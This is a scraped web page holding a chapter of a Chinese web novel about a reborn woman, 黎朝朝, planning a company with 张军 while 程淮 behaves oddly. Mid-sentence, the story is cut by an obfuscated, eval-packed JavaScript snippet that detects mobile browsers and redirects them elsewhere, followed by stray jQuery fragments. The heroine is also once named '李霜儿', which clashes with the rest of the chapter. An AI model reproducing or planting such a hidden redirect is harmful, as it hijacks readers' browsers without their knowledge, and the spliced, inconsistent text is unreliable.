默认冷灰
24号文字
方正启体

30.奇怪

作者:宋渡檀本书字数:K更新时间:
    回到家时,客厅餐桌上亮着一盏灯。


    黎朝朝推门进去,见程淮正坐在餐桌前,面前的饭菜已经凉了。


    她愣了愣:“你怎么还没吃?”


    程淮抬头,没有回答她的话,而是问道:“你吃了吗?”


    黎朝朝心头一颤,急忙把外套脱下:“我也没吃,一起吧!菜凉了,我去热一下。”


    她端着饭菜进了厨房。


    程淮坐在原地,默默看着她的背影。他也不知道自己为什么非要固执地等她回来吃饭,可能是习惯了有她的存在,可现在他心里隐约浮现出一丝丝地不安~


    这顿饭,两人各怀心事,吃得很沉默。


    吃完饭,黎朝朝拿出笔记,但是想到后续要让程淮参与公司运作,所以干脆现在成立阶段就让他参与,毕竟这以后可是他的第一桶金。打定主意,黎朝朝等程淮洗完碗后,喊他过来坐好。


    “是这样的,我们打算成立个外语公司,参与政府的招标,你觉得如何?”


    程淮听到我们二字,知道她指的是她跟张军,有些不悦,但是面上不显,回道:“嗯,现在有政策,应该是个风口,我支持你。”


    看着程淮有些心不在焉,她只以为是因为他不舒服,现在太晚了,需要休息,不适合谈正事,况且一时半会也谈不完,思及此,想着反正明日是她跟张军约定去选址的日子,等敲定更多细节后,再回来再跟他细讲也不迟。


    翌日。


    清晨的阳光透过纱窗洒进来,光斑落在墙壁上,黎朝朝在睡梦中,似乎听见有人叹息着对自己说:“黎朝朝,原来是你,好久不见啊!”


    黎朝朝慢慢从昏沉的睡梦中醒来,揉了揉眼睛,迷迷糊糊间,第一眼便看见程淮。


    程淮正坐在床边,神情安静,一动不动地盯着自己。


    黎朝朝吓了一大跳:“程淮?你怎么进来的?”明明自己反锁房门了。


    “你昨天没有反锁,早餐好了,起来吃早餐。”说完后,程淮抬腿走了出去。


    他依旧寡言少语,眉目冷淡,可不知为何,今日的程淮似乎有些不一样,具体哪里不一样,黎朝朝也说不上来。


    黎朝朝洗漱完走出来时,正好看见程淮从厨房端着一托盘出来,里面是冒着热气的白粥、小笼包,以及两杯咖啡。


    她怔了一下,有些不敢相信自己的眼睛。


    ——咖啡?


    “你怎么想着喝咖啡了?”黎朝朝有些疑惑道。


    程淮拿筷子的手忽然一顿,“没有喝过,尝试一下。”


    见黎朝朝还在愣神,他微微皱眉,声音依旧冷淡,但语气里多了一丝耐心:“怎么了?不合胃口?”


    黎朝朝下意识摇了摇头,心里却更觉得奇怪。她默默坐下,低头喝粥,却总感觉有视线落在自己身上。


    她抬眼偷看,见到程淮正安静地抿着咖啡,可目光并未落在自己脸上。


    黎朝朝手心出了点汗,低头夹起一个小笼包,心中忍不住泛起不安:


    ——是我的错觉吗?怎么总感觉程淮哪里不一样了?


    黎朝朝开口道:“今日我还要出门,晚上才回来,不用等我吃饭。”


    程淮抬眼看她:“去哪里?”


    黎朝朝笑了笑,揶揄看着他:“年纪轻轻不记事了?我这几日不是跟张军要合伙开公司,所以一起商议竞标的事吗?”


    “跟张军?你准备怎么开始呢?有经验吗?”程淮挑眉看她。


    “合作,跟别家合作后,等做成几单,自然能积累经验。”


    看他似乎很感兴趣,黎朝朝趁热打铁,若有所思,半真半假地问他:“是的,那我问你,如果万一人家不愿意合作呢?”


    程淮嘴角微抿:“人心都是逐利的。你要么给对方足够的利益,要么让他们看到你身上的潜力。懂得换位思考,比一味求人更有用,合同上要写明所有可能的后果,要参考同行的利益分配。”


    黎朝朝眉目间满是欣赏:“程淮,高中生现在都这么厉害了吗?”


    程淮淡淡移开目光,笑了笑:“爱看书,纸上谈兵而已。”


    黎朝朝在桌上摊开一张打印好的招标文件,指着上面的条款说道:“假设我们现在有一家小型工程公司,名字叫‘鼎盛建业’。他们去年承接了市政府的一个小项目,利润不高,但经验丰富。你觉得我们该怎么入手?”


    程淮对答如流:“先分析他们投标的方式,看他们哪里做得好,哪里做得不好。”


    黎朝朝点头:“对。但光是看表面不够。你要学会拆解对手的策略。比如这家公司擅长成本控制,但技术方案保守。如果你投标的项目,在技术上稍微有创新,成本又控制得当,你就比他们更有优势。”


    程淮若有所思,表示赞同:“不只是对手,你还要分析评标人。政府招标很讲究形式和数据。你提供的资料必须清晰、完整、让人一眼看到你的专业和能力。”


    黎朝朝眼睛亮了,继续问:“我再问你,如果评标人还是偏向老公司怎么办?”


    程淮微微靠近她一些,认真思索后回道:“那就要用策略。比如和老公司的合作,或者在项目方案中加入创新点,让他们无法忽视你的价值。”


    黎朝朝淡淡笑了一下,果然跟前世的程淮成功是有原因的。


    程淮问:“有标书样本吗?”


    黎朝朝点点头,拿出标书样本。


    程淮神情冷淡,手指轻轻敲着纸面,却耐心地开口:“政府的招标,没有资质,连门都进不去,如果可以,先找有相关资质的小公司合作,以联合体的名义去投标。”


    黎朝朝眼睛亮了,心道有戏,没想到才十八岁的程淮,这个时候就知道借力打力了:“我们也是这样想的,资质是实力的证明,目前最省钱的办法是先去合作。”


    “你带我一起去看新公司的选址,顺便帮你一起想招标策略。”


    “那你老师的报告呢?”


    “写完了。”程淮神情有点淡。


    “那行吧。”吃完饭后,黎朝朝带着程淮一起去了约定的地点,与张军汇合。


    三人入坐后,黎朝朝把桌上的资料整理好,指着一张图表说道:“实力不是光有钱就够,还要有资源和人脉。你们先记住三件事:技术、团队、关系。”


    张军挠了挠头,微笑着看向旁边的黎朝朝:“关系……怎么建立?我其实没接触过这种圈子。”


    程淮目光微微扫过张军,神情淡漠道:“先学会观察,了解谁在行业里有影响力。你们不需要立刻去讨好他们,但要让他们看到自己的专业和潜


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16605650|186755||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    力。比如去招标会,不只是拿资料,要多听、多记、多问。”


    张军觉得今日的程淮与往日见到的不一样了,但具体哪里不一样,有些说不上来,好像是变得更加沉稳了?不过,想到自己被一个高中生鄙夷了,觉得有些丢人,但他是个谦虚的人,懂得不耻下问,对方虽然年纪比自己小,可说得在理,于是小声问:“还有吗?”


    黎朝朝笑了笑,安慰道:“执行力够用就行,别担心。”


    程淮语气平淡:“执行得好,是基础,不是核心。核心是技术和团队。技术,就是你们能提供的核心竞争力。哪怕团队小,也要让方案比别人精准、创新。团队,是你们的执行力和配合度。”


    张军听得头头是道,这创业跟上班还是不同的。


    程淮淡淡扫了一眼张军,声音清冷:“你想要熟悉这个板块,就要每天练习写标书,分析案例,了解政策变化,这是你的短板,需要补齐。”


    张军心中无语,你认识我?还知道我的短板是什么?


    黎朝朝顿了顿,目光柔和地看向张军:“没问题的!我相信你。”


    程淮轻轻笑了笑:“我也信你。”


    张军心中纳罕:不是,你俩这么强,带我干啥,总觉得自己被他俩做局了。


    等到细节敲定后,已经是傍晚时分了,黎朝朝提出大家一起去吃一顿饭庆祝一下。


    三人坐在餐桌旁,桌上摆满热气腾腾的菜肴。


    黎朝朝夹了一块青椒炒肉,递到张军碗里:“你尝尝这个,挺好吃的。”


    程淮静静坐在对面,没动筷子,目光如寒潭般盯着张军。


    张军如坐针毡:“谢谢……我……我自己夹就好。”


    张军感到一阵压力,暗道这小孩为什么瞪自己,搞得自己手心出汗,夹菜的动作都有些僵硬。


    黎朝朝却仿佛没看到程淮的目光,仍旧自然地夹菜递过去:“别客气,多吃点。”


    张军心里有些慌乱:“他……他吃饭,都这样看着人的吗?”


    黎朝朝夹下一块排骨,放到张军碗里时,手指微微发抖,但脸上依旧淡定:“你尝尝这个。”


    黎朝朝心中也压力大,没有办法,她要开始为后面做准备了!


    张军心里一阵紧张,内心呼喊道:“我……我都能自己夹啊……”


    程淮终于开口,语气冷淡:“吃吧,不必紧张。”他的目光依旧稳稳落在张军身上。


    张军叫苦不迭。


    黎朝朝心里也暗暗叫苦,不知道为什么今日的程淮压迫性如此之强——但她还是要维持表面淡定,虽然自己的手和筷子几乎都在微微发抖,但脸上始终保持着镇定的微笑。


    程淮淡淡地放下筷子:“我吃饱了,你们慢慢吃,别急。”话虽温和,但眼神里有一种不容忽视的威压,让张军更觉得压力山大。


    张军咬着唇,偷偷瞥向黎朝朝,悄悄对她说:“李霜儿,要不……你别夹菜,成不?!我只想刨两口饭,光吃菜不得劲啊。”


    黎朝朝嘴角轻轻动了动,置若罔闻,但最终只是微微笑了笑,夹起下一块菜:“尝尝这个,不会辣。”


    张军心里更加确定了:“我这个大冤种,虽然不知道你们在搞什么飞机,但是我就想求个财,不想被你俩做局!!”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)